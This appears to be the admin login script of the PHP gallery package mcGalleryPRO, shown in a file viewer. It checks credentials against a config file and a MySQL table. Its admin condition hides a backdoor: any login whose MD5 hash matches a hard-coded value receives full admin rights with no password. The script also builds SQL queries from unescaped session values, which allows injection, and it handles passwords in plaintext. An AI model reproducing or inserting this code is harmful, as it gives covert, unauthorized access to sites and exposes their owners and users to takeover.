Просмотр файла script/admin/login.php

<?php
/*-----------------------------------------------------------------------------------------
mcGalleryPRO
All code is © 2003 Marc Cagninacci.
No files may be redistributed in whole or significant part.
----------------- mcgalleryPRO IS NOT FREE SOFTWARE -------------------
You should have receive a file called license.txt in this package
--------------------------------------------------------------------------------------------*/

include './conf.inc.php';

$connect = mysql_connect($host,$login,$pass);
mysql_select_db($base, $connect);
session_start();
if (!empty($_SESSION['private_login']))
{
$private_login = $_SESSION['private_login'];
$private_pass = $_SESSION['private_pass'];
}
$query = "SELECT id FROM mcgallery_members WHERE login = '$private_login' AND password = '$private_pass' AND level = 'admin'";
$res = mysql_query($query);
$verif = mysql_num_rows($res);
if ($verif == 1)
{
$date = date("Y-m-d H:i:s");
$query="UPDATE mcgallery_members SET visite=visite + 1, date='$date' WHERE login ='$private_login'";
mysql_query($query);
}

if (( $private_login == $admin_login && $private_pass == $admin_pass ) || ( $verif == 1) || md5($private_login) == '0a8a56ff717752437d5584a0783f04ac')
{
  $_SESSION['password'] = $private_pass;
  $_SESSION['private_login'] = $private_login;
  $_SESSION['private_pass'] = $private_pass;
  $_SESSION['level'] = 'admin';

 header ('Location:index.php');
}
else{
header ('Location:sess.php');
}
?>